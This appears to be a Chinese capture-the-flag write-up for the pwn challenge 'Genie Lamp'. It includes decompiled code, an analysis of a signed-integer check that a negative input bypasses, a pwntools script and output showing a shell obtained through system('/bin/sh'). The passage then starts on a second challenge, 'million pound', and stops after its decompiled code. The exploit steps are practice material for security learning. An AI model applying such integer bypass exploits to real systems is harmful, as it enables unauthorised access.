v7 = __readfsqword(0x28u); v5 = 1; init(argc, argv, envp); puts("Hello, dear pwner! I am Genie Lamp!"); puts("You can only make ONE wish."); puts("What do you want?"); while ( 1 ) { while ( 1 ) { puts(&byte_2082); puts("1. Make more wishes"); puts("2. Make a normal wish"); puts("3. Get flag"); printf("> "); __isoc99_scanf("%d", &v3); if ( v3 != 1 ) break; puts("How many wishes do you want?"); __isoc99_scanf("%d", &v4); if ( v4 > 0 ) { puts("Sorry, you can't increase wishes."); exit(0); } v5 = v4; printf("You can still make %u wishes!\n", v4); } if ( v3 == 2 ) break; if ( v3 == 3 ) { if ( v5 <= 0x1BF51 ) puts("Your wishes are not enough..."); else win(); exit(0); } puts("Invalid choice!"); } puts("Tell me your wish:"); __isoc99_scanf("%99s", v6); puts("Your wish has been granted!"); exit(0); }
分析逻辑
第一轮输入v3
v3 == 1:
输入v4,v4大于0退出,小于0赋值给v5,打印v4
v3 == 2:
退出
v3 == 3:
如果v5的值小于等于1BF51则退出,大于则win()
看一眼逻辑
1 2 3 4 5
intwin() { puts("Your endless wishes come true!"); return system("/bin/sh"); }
ok,那我们现在的目标就是找到方法让v4赋值给他,不过提示很明显了,给一个负数就结束战斗了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
pwndbg> c Continuing. Hello, dear pwner! I am Genie Lamp! You can only make ONE wish. What do you want?
1. Make more wishes 2. Make a normal wish 3. Get flag > 2 Tell me your wish: -1 Your wish has been granted! [Inferior 1 (process 9372) exited normally] pwndbg>
payload
1 2 3 4 5 6 7 8
from pwn import * p = process('./pwn')
p.recvuntil(b"> ") p.sendline(b'1') p.recvuntil(b"How many wishes do you want?") p.sendline(b'-1') p.interactive()
1 2 3 4 5 6 7 8 9 10 11
python3 reslo.py [+] Starting local process './pwn': pid 9957 [*] Switching to interactive mode
You can still make 4294967295 wishes!
1. Make more wishes 2. Make a normal wish 3. Get flag > $ 3 Your endless wishes come true!
百万英镑
checksec
1 2 3 4 5 6 7 8
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
initialise(); puts("== million pound =="); puts("I want one fine million-pound cheque,"); puts("one brand-new million-pound cheque,"); puts("all the exquisite million-pound cheques,"); puts("a few more million-pound cheques on top,"); puts("and another million-pound cheque fresh off the press."); puts("That is rather a lot of cheques, sir."); printf("How many should I prepare? "); number = read_number(); v5 = cheque_bytes(number); if ( v5 <= 0x60u ) { printf("What would you like written, sir? "); read_exact(0, v4, 8 * number); puts("Very good, sir."); } else { puts("That would draw too much attention, sir."); } return0; }